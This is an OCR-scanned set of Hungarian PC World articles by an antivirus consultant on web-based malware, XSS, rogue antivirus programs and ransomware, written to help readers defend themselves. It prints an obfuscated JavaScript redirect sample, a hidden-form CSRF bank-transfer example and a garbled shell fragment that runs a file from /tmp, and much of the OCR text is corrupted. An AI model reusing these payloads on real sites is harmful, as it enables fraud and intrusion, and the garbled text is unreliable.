kell — a kényszer sziilte a megoldd-
sokat. Automatizalt virusminta-fel-
dolgozés nélkiil példaul ma mar egy
viruslabor sem tudna Iépést tartani
a fenyegetésekkel és egyetlen rend-
szergazda vagy cég sem lenne képes
rendszereit a sebezhetdségek auto-
matikus vizsgdlata (Secunia, fuzzerek
sth.) nélkil naprakészen tartani.

A kartevokészitdk koziil egy-egy
hattérbe hiizédott maganyos langel-
me idénként még tud zavart okoz-
ni — gondoljunk csak a legtijabb,
1024 bites titkosité kulccsal operdl6
Gpcode virus esetére —, ez azonban
ma madr inkabb ritka kivétel, a ten-
dencia az iparszer(, egészpalyds le-
tamadas a specializalt és automati-
zalt eszkézokkel mindenki ellen.

sk %
Kérjiik kedves olvaséinkat, ha a té-
maban kérdésiik, hozzaszolasuk
van, juttassék el hozzank
(velemeny@pcworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsadé
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

121 T2W [TrojanToWorm] v2

Nem sziikséges sok szakismeret

a Trojan2Worm hasznalatahoz, kat-
tintunk, legordulébél valasztunk, és
ennyi. Egy tetszéleges artalmatlan
alkalmazast toltink be, igy a kit se-
gitségével egy sajat magat terjeszté
tréjait krealhatunk
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Webalapu kartevok

Sorozatunk tizennegyedik epizédjaban webalapu kartevéket fogunk vizsgalni, bemutatjuk, milyen
trikkok vették at a korabbi, kizarolag levélmellékletekben utazd, egy allomanybol allé tamada-
sok szerepet. Természetesen kitérlink arra is, hogyan védekezhetlink elleniik.

levelezéssel terjedd virusok és
Aférgek néhdny éve még igen

jelentds szerepet jatszottak
a fertdzések kialakulasaban. Mdra
azonban - koszonhetden a széles sdv
egyre nagyobb elterjedtségének és
persze a timaddsi mddszerek folya-
matos valtozdsanak, bovilésének —
egyre tébb, kiilonféle weboldalak és
a Live Messenger segitségével terje-
dd kartevd lepi el az internet vilagat.
Az 5-10 évvel ezelditti kényelmes,
Jegy dllomény fertdzott — fogom - le-
torlom — minden gondom megoldo-
dik” tigymenet lényegesen bonyolul-
tabb lett.

Ha csak az idei év egy havanak ma-
gyarorszagi fertdzési toplistit néz-
ziik, meglepéen sok kéretlen reklam-
programot taldlunk rajtuk. Még ha fi-
gyelmesek is vagyunk, nem Ggy, mint
egyes felhasznalok, akik a Next-
Next-Next tipusti programtelepitése-
ket végzik, akkor is kell talalni valami

maodszert arra, hogy az ilyen kdrté-
kony kédokat kizdrhassuk. Ez a takti-
ka aztdn arra is gyogyirt jelent, hogy
az ilyen kétes alkalmazdsok készi-
t6i és forgalmazdi ne zaklathassak
perekkel a biztonsagi szoftverek fej-
lesztdit, amiért kartevéként soroljak
be a profit reményében terjesztett
és a tisztességtelenség hatdrat erd-
sen stirold programiaikat. A NOD32
eselében ezekre a Veszélyes alkalma-
zdsok és Kéretlen alkalmazdsok ke-
resése opci szolgdl, amit viszont te-
lepitéskor a felhaszndlénak kell kiva-
lasztania. Errdl a témdrol részletesen
a 8. epizodban, 2008 dprilisdban ir-
tunk.

A kéretlen rekldmszemét ,dlddsai”
kozott nemcsak az erGforrasok feles-
leges herdalasat, a bosszisagot ért-
juk, hanem az Gzemszerden zajlo
kdrteviterjesztést is meg kell emli-
teni. A levélmellékletek ,egylave-
Li" fertdzo programijai helyett mar jo
ideje az Ugynevezett letdltd (down-
loader) kodok dolgoznak, amelyek
killonféle kdrtékony web-
oldalakrdl tovabbi kom-

ponenseket képesek

a fertdzott gépekre letol-

teni, nemritkan folyama-

tosan frissitik is ezeket

| a valtozatos kirokozas, és
||| aleleplezddés elkertilése
érdekében.

(B | [ckmuemsmaom | oot meamicions

oo | | ot

A LiveHTTPHeaders Firefox Plugin (livehttphea-
ders.mozdev.org) segitségével adatcsomag
szintjén ellendrizhetjiik a webszerver és a bén-

gészdkliens kozti forgalmat

K vease s
Q suwneatp s

@ rosns

i} ’A Eszhtztk

[ BTN

e

Az alap vértezeten (nap-
rakész virus- és kémprog-
ram-védelmi program,

a kétiranya forgalmat el-

[ mezze | [igsewns:

lendrizni képes
tlizfalprogram)
feldl nem drt egy
kis dvatossdg, és
néhdny apré otlet
sem. Hasznos, ha
az Internet Explo-
rer helyett inkdbb
a biztonsago-
sabb Mozilla Fire-
fox vagy az Opera
bongészit része-
sitjiik elGnyben.
Réviden megem-
litink néhdny be-
épiild modult
(plugin), amelyek
segitenek egy link,
illetve weboldal
esetében eldonte-
ni, érdemes-e to-
vabbmenni, rakat-
tintani. llyen segitséget kaphatunk

a NetCraft Toolbar (toolbar.netcraft.
com), a Finjan SecureBrowsing (se-
curebrowsing.finjan.com), a RGguard
(Robot Genius Cuard, www.robot-
genius.net), PhishTank SiteChecker
(phishtanksitechecker.com) és a Mc-
Afee SiteAdvisor (www.siteadvisor,
com) szoftver hasznalatokrol - figyel-
meztetnek a kdrosnak itélt oldalak
esetén. A ldtvanyos, piros szind és fi-
gyelmeztetd szoveggel is ellatott ab-
lak ellenére, ha akarjuk, feltilbirdlhat-
juk az intést és mégis elldtogathatunk
a weboldalra.

A Webdeveloper megmutatja a generalt forraskédot,
igy nem verhetnek At az sszezavart (obfuscated)
programsorok

A weboldalakba kénnyen bedgyaz-
haté olyan ldthatatlan JavaScript kéd,
amelynek hatasara kilonféle kelle-
metlen események torténnek gépiin-
kon. Drdmaian lelassul a masina vagy
csak a bingészés sehessége, tucat-
szam nyilnak fel reklaimokkal terhelt
pop-up ablakok, kezddlapunkat atl-
litja valami, s6t bizonyos kedvenc (f6-
ként virusvédelmi) oldalaink esetén
valami blokkolja, letiltja ezek meg-
jelenését. A szkriptnyelveket sokan
lenézik, de igazsdg szerinl ezekkel,
valamint egy révid és tdmér prog-
rammal szinte barmit meg lehet va-

i
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A megfeleld védelem érdekében a kiegészité opcitkat is jeloljik be. A rek-

1am és egyéb ély
jogi okokbol
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k kiilén besorolasi csoportjai vannak

i kozod ahhoz, ami nem tartozik rad” - sz0l a rejtéi idézet, Az Adap-

tive Referer Remover (hopp.pcworld.hu/5249) megakadalyozza, hogy kiszol-
galtassuk a meglatogatott weboldalnak, hogy honnan, melyik weblaprol

kattintottunk at oda
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T tall -1 9 50 = [iep/NGLaqiNgL; Eall n 27 50 > /mp/Amgh
16 chmod 755 /tap/HegH; d/tap/EngM 6); exit 3
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Sok szkriptes kartev6 épit a zagyva valtozonevekre, a kédhalmaz attekinté-
se és megértése szinte lehetetlen. Az also képen csak annyit tettiink, hogy
«emberbarat” valtozonevekre cseréltiik a szemetet

"a' 4 = | *--:

N R

o The page you are trying to visit is using Cross-Site Scripting (XSS).
This is a technique commonly used in phishing attacks.

URL: http fiwwa motorostura. hu/myAsg/engine asp%3fse.. %253C%252F script%253E

If this is a mistake, please report it using
‘Report Incorrectly Blocked URL' in the Neteraft Menu.

Do you still want to go there?

g.,{“rés

A Netcraft Toolbar is hasznos plugin, itt éppen egy Cross Site Scripting (XS5)
tamadasra figyelmeztet

lésitani a gépen — és ez j6t és rosszat
egyardnt jelent. A korabban emli-
tett tartalmi tandcsaddk mellett lehe-
tdségtink van a weboldalon futtatott
szkriptek teljes blokkoldsara, finom-
hangolt részleges vagy teljes engedé-
lyezésére, sit mindezt végleges vagy
ideiglenes szabalyokkal is leirhatjuk.
A varazseszkoz neve NoScript thopp.
peworld.hu/1582).

Aki programozott mar valamilyen
szkript nyelvet (VBS, JS, Ruby, Perl
sth.), az tudja, barmilyen egysze-

rii feladatot rovid dton is meg lehet
bonyolitani. Ha valaki hasznalt mar
Perlben regularis kifejezéseket min-
taillesztéshez, az tudja, mirdl beszé-
link. Azonban amig ez tomar és ha-
tékony, vannak esetek — féként a kar-
tevikészitok élnek ezzel —, amikor
ennél is tovibbmenve, a kadot szin-
dékosan olyan zagyvilt (nem okvet-
leniil thmarebb) formara hozzak,
hogy azon aztan ember legyen a tal-
pan, aki kiigazodik. Nézziink is egy
példat, ahol mindtssze a véltozone-
vek helyett szerepelnek mindenfé-
le vad stringek: agyunk szinte képte-

A NoScript beallitasok kozt még olyan finomsagokat is talalunk, mint az

IFRAME elemek tiltdsa
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Az unescape() fiiggvény arra is jo eszkoz, hogy egy atlagfelhasznalo eldl el-
rejtse a linkek valédi tartalmat. A j6 hir, hogy nem okoz gondot a kibogozas
az Unescape Utility segitségével: kivag-beilleszt-Entert (it-oril

len felfogni, ki kivel van, hol a ciklus
eleje, vége sth. Segitheti a viruselem-
z6k munkdjat, ha az dltalanos ko-
doldsi szokdsoknak megfeleld, illet-
ve beszéld nevi valtozékra cseréljik
a zagyvasdgokat.

Amikor az ilyen szkriptes kbdban egy
adott weboldalra kell ugrani, nehéz
észrevétlentl beleiri egy HTTP ¢i-
met. Erre szoktdk haszndlni az unes-
cape() fﬁggvényt, ahol a karakte-

rek kadjainak segitségével ugyanazt
a feladatot elvégzd programsort egy
dtldthatatlan %szdm%szdm rendsze-
rii karakterfizérre cserélhetjiik. Ha
egy ilyenbe bele szeretnénk nézni,
egy kis segitségre szorulunk. Szeren-
csére léteznek mar kilon weboldalak
is, ahol minddssze annyi a dolgunk,
hogy bedobjuk a zavaros kddhal-
mazt az egyik boxba, és a masikban
maris szép olvashatoan, tagoltan td-
nik fel a JavaScript program.

Létezik emellett egy Web Develo-
per (hopp.peworld.huf2119) nevd
Firefox beépiild is, amellyel egy k-
léin ablakban megjelenithetd a gene-
ralt forriskad is, mdr kibontott és be-
helyettesitett formdban.

A kirtevok azonban nemcsak e-mail-
ben, IRC-csevegés esetén vagy web-
oldalakrol érkezhetnek, hanem Mes-
sengeren is. Mivel itt is lehetséges

a fajlkildés, érkezhet latszolag isme-
rostél olyan linket, esetleg dllomanyt
tartalmazd (izenet, amelyre rékattint-
va vagy megnyitva elindulhat a fer-
tdzés. llyenkor érdemes eldvigydza-
tosnak lenni, akdr meg is kérdezhet-
jlik a partnert, valéban & killdte-e
nekiink. Szoktak olyan csali webol-
dalt is késziteni (ilyen példaul a hi5.
com), ahol elkérik valamennyi cseve-
g6 és kozasségi portdlhoz tartozd név
és jelszo adatunkat azzal az Griiggyel,

stime ver F
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NoScript lenne

a szkripteket blokkolni tudé
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<SCRIPT language=JavaScript>

function otgzyu(memz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2 ;uyty:"eplac" ;iniuhB8889="e" ;vbb2b=" ( 282
awq27="";sftfttft=4;fghdh=""ht";ji87gkol="tp:/";
polkiuu="/vi"; jbhj89="dec" ; jhbhi87="=zf" ; hgdxgf="re";
jkhuift="e.c"; jygyhg="om’"; dhd=eval (fghdh+ji87gkol+
polkiuu+j bhj89+jhbhi87+hgdng+jk_huift+jygyhg) ije 15="") ok
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh88894vbb26+awq27 }d.hlujell‘:) ;

otqzyul();//
</SCRIPT>

location.replace(’http://videozfree.con’)

Példa a szandékos elbonyolitasra, amelynek célja az olvashatésag rontasa.
Fent a zagyvalt (obfuscated) kod és lent ugyanennek az olvashaté meg-

felelGje lathato

hogy automatikusan felkutatjak majd
ismerdseinket. Aki van olyan gyant-
lan, és megadja ezeket, igazi spamla-
vindt ereszt ra az ismeretségi korére,
a rokonai és tzletfelei pedig nem iga-
zén fogjdk imaba foglalni a nevét.

Az XSS, vagy ,magyarul” Cross Site
Scripting technoldgia egy olyan lehe-
toség, amelynek segitségével a tdma-
dénak lehetdsége van megbizhatatlan
kadot lefuttatni a bongészében egy
megbizhatd tartomanyon keresztil, és
sajndlatos médon sokszor ez teljesen
észrevétlentil zajlik. Az ilyen kodo-
kat vagy a készitG teszi fel szindéko-
san, vagy kilonbazé manipuldcidkkal
(példaul rosszul megirt, ellendrizet-
len adatokkal dolgoza drlap feldolgo-
zasaval) helyezhetik el a weboldala-
kon. A timadds megvaldsithatd IMG,
SCRIPT és IFRAME elemekkel is.

Az ilyen kod barmilyen weboldal-
ba, blogba, wikibe vagy akdr e-ma-
il tizenetbe is behelyezhetd. Néz-
ziink egy példat: ebben az esetben
a Netflix.com oldalanak egyik drlap-
jaba (form) kéretlentil beépitett ta-
madd kodot:
<img sre=http:liwww.netflix.com/
AddToQueuesmovieid=70011204
width="1" height="1" border="0">
<body onload="document.forms[0].

e meie mees turvamees(1)
e
Gl
Misalis
-l
Média-
o
o
s

frds €0 e
Imjatarérn

submit()”>
<form method="POST" acti-
on="https://bank.comftransfer.do”>
<input type="hidden” name="acco-
unt” value="123456789"1>
<input type="hidden” name="amo-
unt” value="2500"1>
<fform>

J6l lathatd, hogy a csendben beil-
lesztett kod igyekszik kerdini a feltd-
nést: az 1 pixelszer 1 pixeles képmeé-
ret, az Grlapon belili rejtett (hidden)
mezdk mind ezt a célt szolgaljak.

XSS bajok ellen egyébkeént létezik
két kiilon Firefox plugin is XSS Guar-
dian Panel (hopp.pcworld.hu/5242)
és XSS Warning (hopp.peworld.
hu/5243) néven, érdemes ezeket
haszndlni. Akit pedig mélyebben ér-
dekel a téma, az olvasgassa a Buhe-
ra blogot (buhera.blog.hu), amely sok
ilyen, és ehhez hasonld tdmadasrdl ad
friss, részletes szakmai beszamolot.

A cildk elején szo volt arrdl, hogy az
egyre tobb kiilin dllomanybal 4ll6, és
tovabbi letoltéseket végzo kdrokozo
komponensektdl sokszor igen nehéz
megszabadulni. A sok lényeges kiilénb-
ség kozil az egyik legfontosabb a vi-
rusirtd és a kémprogramellenes alkal-
mazasok kozott, hogy mig az antivirus

burce e
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Az Invision Power Board webszerverét 2006 6szén tamadtak meg, és az
alabbi IFRAME tageket illesztették bele, amikkel pedig megfertézték a gya-
nutlan latogatokat. Az effajta tamadasok szama évrél évre navekszik

ongeészok biztonsagi
sebezhetdségei

b

5pera 5 millio
Safari 17 millié
Firefox 38 millid

Becsilt érték:
Internet
Explorer
577 millié

Kockazat
a nem
biztonsagos
béngészdkliens

hasznalata miatt

A bongészéhasznalok és a rajuk leselkedd veszélyek mértékét szimbolizalo

piramis. Jol lathatd, hogy a legjobb helyz:
(1 ("

etben azok vannak, akik biztonsagos

lamint azokat r esen frissitik

bongészéket és plugineket h

a fertézés megsziintetése érdekében
kizarélag a kdros dllomédnyokat térli, il-
letve helyezi karanténba, addig a kém-
programirtok adatbdzisa a kéretlen rek-
ldimok, kémprogramok dltal médositott
Registry bejegyzéseket is képesek hely-
redllitani, illetve sok esetben a tovdbbi,
mdr nem fertéz4, de felesleges kompo-
nenseit is képesek kittrolni. Néhdny fz-
ben az okozhat gondot, ha egy adott
kartevs nem torolhetd ki, mert , fog-

ja a rendszer”, llyenkor segithet rajtunk
az UnDLL (hopp.peworld.hu/5244),
illetve az Unlocker (hopp.pcworld.
hu/2130) alkalmazds, amely programo-
kat pontosan ezekre a helyzetekre fej-
lesztették ki.

Ha valakinek van weboldala, néz-
zen rd iddnként: nem torték-e fel,
nem babrdltdk-e meg az SQL-adatbd-
zist, nincs-e beszirva a lap aljdra Java-
Script kéd, nincs-e gyantis mozgds a lo-
gokban. Ha valakinek erre nincs ideje
vagy esetleg nem ért hozzd, akkor pe-
dig bizzon meg ezzel valakit. Ha ezt
sem teszi, inkabb ne legyen weboldala,
mert nem tudja feleldsséggel birtokol-
ni, karbantartani. Idével lehet, hogy az
mar nem az & honlapja lesz.

Az ellendrzés automatizaldsdra fr-
haté megfeleld program, amely meg-

KAPCSOLODO WEBOLDALAK

adott iddkézonként elmenti a kulcs-
fajlokat és azokat Gsszeveti a kordb-
ban tarolt valtozattal. De erre a célra
létezik mdr kilon villalkozds is: a cég
a weboldalak illegdlis mddositdsa ese-
tén e-mailben és SMS-ben is riasztani
tudja a véllalat vezetdit, illetve a rend-
szergazdat — eziton készoniik az infot
az antivirus.blog.hu kommenteldinek.
Mindenesetre, ha 6vni akarjuk webol-
dalunkat, akkor csak egyet nem tehe-
tiink: azt, hogy nem tesziink semmit.
A weboldalak és Gizendprogramok
mellett a zenefdjlokat sem szabad ki-
hagyni a szamitasbol. Vannak olyan,
preparalt MP3 kiterjesztési alloma-
nyok, amelyek lejdtszaskor azonnal
megfertozik a szamitogépet. Bar ennek
valadi fajltipusa WMA (Windows Media
Audio), a Windows Media Player még-
is megkisérli a lejatszast — amely ugyan
nem sikerl neki, de a bongészd auto-
matikusan elindul és tovabbi kdrtékony
alloményok letoltését inditja el.
*kk
Kérjik kedves olvaséinkat, ha a té-
mdban kérdésik, hozzaszdlasuk van,
juttassak el hozzank
(velemeny@pcworld.hu).
Csizmazia Istvdn,
virusvédelmi tanicsado
Sicontact Kft., a NOD32 antivirus
magyarorszdgi képviselete
antivirus.blog.hu

Bar szorosan nem a klasszikus bongészéshez kapcsoladik, de zenét letolteni
(weboldalrél, FTP-rél, torrentrél) szinte mindenki szokott. Vannak azonban
olyan, preparalt MP3 kiterjesztésl allomanyok, amelyek lejatszaskor azon-
nal megfertozik a szamitogépet
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Az ESET magyar nyelvii viruslexikona: wwwieset.hu/virus
Az XSS és SQL Injection alapi tamadasokrol magyarul: hopp.peworld hu/5245,
hopp.pcworld.hu/5246, hopp.peworld.hu/5247
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Egeészpalyas letamadas virusirtora hangszerelve

Sorozatunk tizenotodik epizddjaban egy sajnos igen elterjedt al-antivirus programcsaladdal
fogunk foglalkozni. Ez XP Antivirus 2008, 2009 és hasonld neveken érkezik, és kész rémalom,
ha egyszer a gépre keril. Természetesen nem hagyomanyos virusirtorol, hanem egy kartékony,
az embereket becsapo és gépeinket megfert6z6 programroél van sz, amely - nem mellékesen -
még a pénztarcankat is megcsapolhatja.

a Windows rendszer alatt
H valamilyen programot ki-

vanunk telepiteni, zommel
egy setup folyamatot inditunk el,
amely aztan nemcsak egy ,bit-
kolbdszt” hiz el szemiink lattdra
1-t6l 100%-ig, hanem telepiti is
a program sziikséges komponen-
seit, konyvtdrakat készit ezek sz4-
mara, Gtvonal- és indité bejegy-
zést hoz létre, és még egy fontos
momentum: megjegyzi és eltdrol-
ja a késdbbi esetleges uninstal-
|3l&si folyamathoz sziikséges in-
formaciokat. Altaldban, ha a to-
vabbiakban el akarunk tavolitani
egy alkalmazast, az alabbi esetek
tobbsége, vagy akar mindegyike
rendelkezéstinkre all.

Ha a fejleszt6k alaposak és ga-
lansak voltak, rendelkezésre bo-
csatanak egy kilon kivalasztha-
t6 meniipontot is az uninstall in-
ditdsara.

A mésik nagy és sima Gt, ha
a Start meniin belil a Bedllitdsok
- Vezérl6pult = Programok tele-
pitése és torlése meniipontot va-
lasztjuk, ez is hivatalos és szaba-
lyos mddszernek szamit. Ehhez
persze az is sziikséges, hogy a lis-
taban szerepeljen az eltavolitan-
dé6 program.

Ha ezek valamelyike nem md-
kédik, még mindig meg lehet
szabadulni a nem kivant alkal-
mazastol az Easy Uninstallerrel
vagy egy ehhez hasonl6 segéd-
programmal. Ez még mindig biz-
tosabb és kényelmesebb, mint
a végs6é megoldas: kézzel torol-

Antivirus XP 2008 license agreement

On clicking "Agree and install” you agree with the terms of service listed belaw, In
case ypou disagiee with the tems you can click here to cancel the intallation. However we
stongly recomend to finish the installtion to keep your computer secure and protected
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Barhogyan is nevezzék az al-antivirus programot, egyben
mindegyik azonos: nem létezé kartevékre, fertézésekre

figyelmeztet és pénzt akar

getni az dllomanyokat és Regist-
ry-bejegyzéseket.

A normdl Gigymenet attekintése
utdn nézziik, milyen akadalyokat
igyekezhetnek az utunkba allitani.
Példaul egyaltaldn nincs uninstall,
és sok esetben szembesiiliink az-
zal, hogy a program torlése utani
gépinditdsnal mégis visszakeril va-
lahogyan a nem kivant alkalmazas.
Lehet aztén olyan ,vicces” és ki-
lométer hossz, aprébetds licenc-
szerz6dés, amelyen nem a szoka-
sos ,elfogad” és ,elutasit” gombok
szerepelnek, hanem csak egyet-
len valasztasi lehet6ségiink van:
elfogadni, s6t az ablak felsg sarka-
b6l még az X, azaz bezér funkcio
is hidnyzik, hogy kész helyzet elé
allitsanak minket. Ha pedig pont
egy biztonsagi program mveli ezt
veliink, az korlbelil az a kate-

gobria, mintha a pap rontand meg
a gyermekiinket, az orvos 6Iné
meg a beteget vagy a rendér torne
be hozzank — mélységes és varat-
lan ilyenkor a csal6dés.

Ha valaki figyelmetlenséghdl fel-
telepit egy ilyen programot, valé-
szintileg hamarosan visszasirja az
frogépes korszakot. Igen sokféle
néven taldlkozhatunk &l-virus-, il-
letve kémprogramirtéval, felsoro-
lunk néhany kozismert nevet: An-
tiMalware 2009, AntiMalware-
Suite, AntivirusProtection,
Antispyware 2008 XP, AntiSpy-

ware Pro XP, Antivirus Lab 2009,

Antivirus Security, Antivirus XP
2008, ConfidentSurf, ContraVi-
rus, DataHealer, eAntivirus Pro,
MalwareScanner, Master Antivi-

IBNTIVIRUS <P 2008 LICENSE AGREEMENT

\MGREEMENT CAREF
BNDJOR ITS SUBSIDIARIES ARE WILLING TO LICENSE THE SOFT'W

ICONTACT THE CUSTOMER SUPPORT TEAM

B andingal ]

IMF’EIF(TANT PLEASE READ THE TERMS AND COMDITIONS OF THIS LICENSE j
ULLY BEFORE USING ANTIVIRUS xP 2008, ANTMHUS P ZUUDG
Vil

THE INDIVIDUAL, THE COMPANY, OR THE LEGAL ENTITY THAT WH.LEE UTILZING
ISNTIVIRUS <P 2008 (REFERENCED BELD'W A5 “vOU" OR "vOUR") ONLY ON THE
CONDITION THAT vOU ACCEPT ALL OF THE TERMS OF THIS LICENSE AGREEMENT.
THIS 15 & LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU AND ANTIVIRUS P
12008 B CLICKING OM THE “4GREE" OR "YES" BUTTON OR OTHERWISE INDICATING
ASSENT ELECTRONICALLY. OF LOADING THE SOFT'WARE, YOU AGREE T0O THE
TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THESE
TERMS AND CONDITIONS, CLICK ON THE *| DO NOT AGREE", "NO" BUTTON, OR
(OTHERWISE INDICATE REFUSAL: MAKE NO FURTHER USE OF THE SOFTWARE, AND

T0

e .

Amikor a licencszerzédés elutasitasara egyaltalan

nincs lehetdség. Vegyiik észre, hogy nemcsak az
a baj, hogy mindéssze az OK gombot valaszthat-
juk, de az ablak bezarasara valé X ikon is hianyzik
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Az Antivirus XP 2008 egyik érdeke
olyan hamis Top 10 viruslistat k6z6l, amely a NOD32 programot
készité ESET laboratorium elnevezési metédusat hasznalja

e = B8 s B SO

holdals

ége, hogy a

A hétkoznapi ember szamara megtéveszté, hogy
egy csaloé program még a PC World magazin legjobb
vételeként hirdeti magat, de nem kevésbé vérlazito
a Softpedia kartevémentességet hirdeté tanusitva-
nyanak odahamisitasa sem

rus 2009, Micro Antivirus 2009,
Perfect Cleaner, PersonalAnti-
Spy, Smart Antivirus 2009, Spy-
ware Guard 2008, System Op-
timizer 2008, Virtual PCGuard,
VirusGuard Plus, VirusResponse
Lab 2009, Vitae Antivirus 2008,
Windows Antivirus, XP Protector
2009, Zinaps Anti-Spyware. Nem
mindennapi sorozat ez, és sza-
muk sajnos naprdl-napra folyama-
tosan novekszik.

Akar véletlentil, akar tévedésbdl
keriil a szamitogépre, onnantdl
folyamatosan ijesztgeti a felhasz-
nalot. Esetenként olyan hamis
BMP éllomanyokkal is manipulal,
melyen a lefagyast jelz6 kékha-
lal (BSOD, Blue Screen Of Death)
vagy egy kémprogramfert6zésre
figyelmeztetd ablakot dbrazol.

A cikkirashoz szandékosan tol-
tottiink le egy Antispyware Pro
XP programot, és ami a nagy ér-
dekesség volt: maga a telepi-
t6 teljesen tiszta volt, sét a Vi-
rusTotal.com oldalon vizsgélva
mind a 37 biztonsagi program né-
ma maradt. A megoldds az, hogy
a csalok egy dres, késébb kilén
oldalakrol letoltogets vazat ké-
szitettek, amely az install kozben
kezdi el a kartékony kédokat tele-
pitgetni kiilonb6z6 webcimekrdl.
Ha ,normalis” virusvédelmi prog-
ram van a géptinkon, az azonnal
képes megdvni minket a megpro-
baltatasoktdl. Itt kiillénésen azok
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Mostanaban a kémprogramirtok is a reneszanszukat élik, logikusnak latszik
tehat, hogy ebbdl is készal hamisitvany. Ha végiggondoljuk, hany tajéko-
zatlan atlagfelhasznalo eshet aldozatul naponta, megértjiik, mi motivalja

A fert6zott gépen rendszeres id6k6zonként megjelenik valamilyen tama-
dasra figyelmeztetd ablak. Ha kicsit viccesebbek lettek volna a késziték,

ezeket az embereket: Gjabb regrutak

a felhasznal6k vannak a veszély-
ben, akik semmilyen, vagy na-
gyon elavult virusirtét hasznalnak.

Ha mdr a gépen van, indul a szin-
jaték. Sok esetben a szamitogép
ellenérzése csak egy animécio,

és mindig talal a végén fertGzést.
Kifinomultabb esetben (a Spy-
ware Pro XP is ilyen) végigpor-
geti géplnk konyvtarait és csak
utdna jelez fert6zést, hogy hihe-
t6bb legyen a dolog. Lényeg a |é-
nyeg, ettél kezdve barmit tesziink
is, rendszeres id6kozonként fel-
bukkannak ablakok, amelyek kii-
[onféle nem létezd virusok, fér-
gek és kémprogramok fert6zései-
re figyelmeztetnek. Kulén ,vicc”,
hogy a figyelmezteté ablakok ki-
nézetét mas kereskedelmi forga-
lomban is kaphaté virusirtokbdl
mintaztdk, igy példaul Panda-sze-
ri és NOD32-tipust figyelmezte-
t6 ablakot is lattunk mar.

bévitik a pénzt hozo botneteket

A program ezt az ajtot is kinyitja,
ett6l kezdve kéretlentil érkeznek
a kalonféle, hazai és kalfoldi ol-
dalakrél szarmazé reklamok. Eb-
ben talan a hazai lehet az igazi
meglepetés, hiszen ez mar vala-
miféle egytittmkodést is feltéte-
lez a résztvevé felek kozott.

Kilon érdemes megemliteni,
hogy hazudés barataink még kii-
[6n supportot, azaz terméktdmo-
gatast is igérnek, és ehhez a web-
lapjukon kulon drlap is felfe-
dezhetd. Bér a program bészen
hivatkozik a szinte sztahanovis-
ta 24/7 munkarendre, a weblapon
nem taldlunk semmilyen elérhe-
t6séget, felelés kapcsolattartot,
telefont vagy e-mail cimet, csu-
pan egy egyiranyl kapcsolatfel-
vételre alkalmas Grlapot, amelyen
tzenni lehet, s amelyben megem-
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On vakon megbizna egy olyan biztonsagi programban, amelynek webolda-
lat csak par napja jegyezték be egy semmitmondé gmailes cimré1? Ahogy

Virag elvtars mondta: ,az 6vatossag

nem bizalmatlansag!”

jelezhettek volna tamadast a nem létez6 71546 portrol is ©

litik, hogy ha 12 6ra miltan sem
kapnank vélaszt, ismételjik meg
a kérdést.

,Ha majom néz a tiikorbe, nem
nézhet vissza préféta” — szél

a mondas. Ennek fényében kar
lenne arra varni, hogy egy (kil6n-
ben nem m(ikod6) adatbézis-fris-
sités, vagy a program fizetds val-
tozatdnak megvasarldsa ranta-

na ki szekertinket a bajbél. Bar

a program f6 célja, hogy vasarlas-
ra serkentsen, hiszen a mentesités
sem mkodik, a gombra valé kattin-
tassal csupdn a terméket drusitd
oldalra jutunk. Talan egy mon-
dattal 6sszefoglalhatjuk a Iénye-
get: ne hasznaljunk és ne telepit-
stink olyan programot, amelyre
rakeresve a Google 6sszes talala-
ta ,How to remove...” sz6fordu-
lattal kezdGdik. Ennek olyan bol-
csességgé kellene vélnia fejiink-
ben, mint annak, hogy az ,okos
piléta alagiitban nem katapultal”.
Ha meg akarjuk 6vni szamit6gé-
plnket és személyes adatainkat,
nem maradhatunk életiink végé-
ig tudatlanok, naivak és potencia-
lis dldozatok.

Hogy mire megy itt a jaték, egy-
szer( beldtni: pénzkeresés felsé-
fokon. A tobbfrontos tdmadas-
nél sokféle veszitenivalonk le-
het. Vagy kartevével fert6zédiink
meg, és akkor nem a sok felbuk-

kané ablak lesz a legnagyobb
bajunk, hanem hogy a gépiink
mar egy zombihadsereg tagja-
ként spamlevelek terjesztésében
és weboldalak elleni tamadasok-
ban vesz részt — tudtunkon kiviil.
Egy komolyabb méretd bothélo-
zat (botnet) erejét tetemes 9ssze-
gért adjak bérbe blinozék. Emel-
lett keresnek még rajtunk a ké-
retlentil megjelenitett reklamok
megjelenitéséért kapott pénzen.
A support és a megrendelést fel-
dolgozé modul egyben e-mail cim-
és identitasgy(ijts is, ezek a sze-
mélyes adatok kiilon, még banki
adatok nélkil is eladhaté dru-
cikkek. Es végal, de nem utol-
sésorban, aki van olyan évatlan,
és megadja a hitelkdrtya-adata-
it a hamis virusirt6 vagy kémprog-
ramirté ,vasarldsakor”, az egyben
talcan kindlja fel banki adatait
a csaléknak és maradék pénzé-
nek is bicsit mondhat. Ez van,
igy mikodnek a dolgok, sajnos
nem olyan naiv torténet ez, mint
egy Pottyds Konyv vagy a Kisva-
kond meséje, hanem kékemény
érdekek vezérelte tizleti folyamat,
ahol mindig résen kell lenntnk.
*kk
Kérjik kedves olvasdinkat, ha
a témdban kérdésiik, hozzaszola-
suk van, juttassék el hozzank (ve-
lemeny@pcworld.hu).
Csizmazia Istvan,
virusvédelmi tanacsadd
Sicontact Kft., a NOD32 antivi-
rus magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

wwwi.eset.hu/virus

WwWw.spywarewartior.com/rogue_anti-spyware.htm
wwwi.bleepingcomputer.com/malware-removal/rogue-programs

Www.2-spyware.com/remove-antispywate-pro-xp.html
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Penzt vagy életet!

A mult hdnapban a hamis antivirus programokkal foglalkoztunk. Ezek f6 jellemzdje, hogy nem
létezb fert6zéseket imitalva pénzt probalnak meg kizsarolni téliink. A nagy eléd, a magyar Furké
Antivirus lehet, hogy talan mintaul szolgalhatott az utédoknak. Sorozatunk mostani, tizenhatodik
epizodjaban mindenesetre bemutatjuk ezt a korat megel6z6 programot, valamint néhany mas

valtsagdijszedo kartevot.

i a mdltat hdborgatja, folyjon

ki a fél szeme. De ki a mdl-

tat elfelejti, annak mind
a kett6 — mondja Alexander Szolzse-
nyicin. Mi sem tehetjiik meg, hogy
kordbbi malérokrdl elfeledkeziink,
és igazsag szerint nem is érdemes
ezt tenni, hiszen nagyon tanulsagos
esetekrdl van szo.

